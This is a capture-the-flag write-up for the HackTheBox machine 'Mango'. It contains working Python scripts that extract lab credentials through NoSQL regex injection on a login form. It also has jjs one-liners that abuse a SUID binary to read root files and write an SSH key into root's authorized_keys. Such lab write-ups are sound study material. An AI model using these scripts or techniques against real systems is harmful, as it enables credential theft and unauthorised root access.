HackTheBox - Mango

banner

Mango

The Basics

The first thing we should do is map the box IP address to the box name .htb in the /etc/hosts file. 10.10.10.162 mango.htb

Initial Scan

Next up we can try running our standard NMAP scan nmap -sC -sV mango.htb but we won’t get very far with that, so we decide to do a stealth scan instead and treat the host as online using nmap -sS -Pn mango.htb. We get results back for 3 ports: 22 SSH open, 80 HTTP open and 443 HTTPS open.

Initial NMAP scan

Web enumeration

Looking at the NMAP results, we most likely have a web application running on both HTTP 80 and HTTPS 443, so we fire up gobuster and take a manual look at the web app.
While trying to run gobuster on https://mango.htb we get an interesting error message:

gobuster error

gobuster is telling us the SSL certificate for https://mango.htb is invalid, but it is valid for https://staging-order.mango.htb. Interesting, let’s add staging-order.mango.htb to our /etc/hosts file and point it back at 10.10.10.162. At first glance there’s nothing interesting at https://staging-order.mango.htb, the web page resembles Google Search and we can visit /analytics.php which gives us a bunch of errors regarding a key for *.codepen.io. This looks to be a dead end.

However, the web server also serves content over HTTP on port 80, so let’s give that a try: http://staging-order.mango.htb. We get a nice looking login page, when we try to login with some fake credentials not much happens. The page refreshes without any errors or warning messages.

We decide to run gobuster in the background on the virtual host to see if there’s anything else going on, meanwhile we set up Hydra to try attack the webform.

gobuster results

Looking at the gobuster results, /vendor grabs our attention, and after some quick googling we find out /vendor is used by Composer and it often contains /composer/installed.json. Inspecting the installed.json file, we can quickly see references to MongoDB and mongo-php-adapter. Interesting, let’s test the index.php login page for NoSQL injection.

Enumerating MongoDB for usernames and passwords

A quick google for NoSQL injection will find us PayLoadsAllTheThings GitHub repository. We need to modify the Post with JSON body script to fit our needs and enumerate both usernames and passwords.

extract-usernames.py

import time
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username=""
password="cerbersec"
u="http://staging-order.mango.htb/index.php"
headers={'Content-Type' : 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','.','+','?','^','|','}']:
            payload= { 'username[$regex]' : "^" + username + c, 'password[$ne]' : password, "login" : "login" }
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (username+c))
                username += c

extract-passwords.py

import time
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="cerbersec"

password=""
u="http://staging-order.mango.htb/index.php"
headers={'Content-Type' : 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','.','+','?','^','|','}']:
            payload= { 'username[$ne]' : username, 'password[$regex]' : "^" + password + c, "login" : "login" }
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

By modifying the username and password parameters as we gradually discover usernames and passwords we are eventually able to extract two usernames and two passwords.

Username Password
admin t9KcS3>!0B#2
mango h3mXK8RhU~f{]f5H

Getting user via horizontal privesc

Now that we’ve got some credentials, it’s time to find where to use them. When we log in on the web app we get redirected to home.php which is “Under Plantation”, another dead end. Trying SSH for admin results in a permission denied, but ssh mango@mango.htb seems to work with the password and we get our initial shell.

The first thing we can do when we get our initial shell, is checkout the /home directory. A quick ls -la tells us there are two users, mango and admin. No surprises here. Upon further inspection of their home directories we can see the user.txt flag is locked away in /home/admin and only readable by admin.

admin directory

Since we have credentials for admin let’s try a simple horizontal privilage escalation with su admin. After entering the password for admin we can use bash to upgrade to a proper shell and grab the user.txt flag from /home/admin.

user flag

Getting root via jjs code execution

Time to move on to root. After some quick initial recon there’s nothing that immediatly grabs our attention, so we should run LinEnum. It tells us it found an interesting SUID file /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs.

LinEnum result jjs

A quick google for jjs privesc tells us jjs can be exploited on GTFOBins. We can try to get a shell or reverse shell, but since it returns errors we move on. Another interesting angle could be reading and writing files, so let’s give that a go.

File Write

echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("DATA");
fw.close();' | jjs

File Read

echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs

Using the File Read commands we can easily read /root/root.txt and grab the root flag.

root flag

Root Shell

To get a root shell we upload a SSH key to authorized_keys. We use ssh-keygen -t rsa to generate a new key pair and write the contents of id_rsa.pub to /root/.ssh/authorized_keys using the fw.write(); function.

jjs write ssh

Now we can use ssh root@mango.htb -i id_rsa to log in as root and get our root shell.

root shell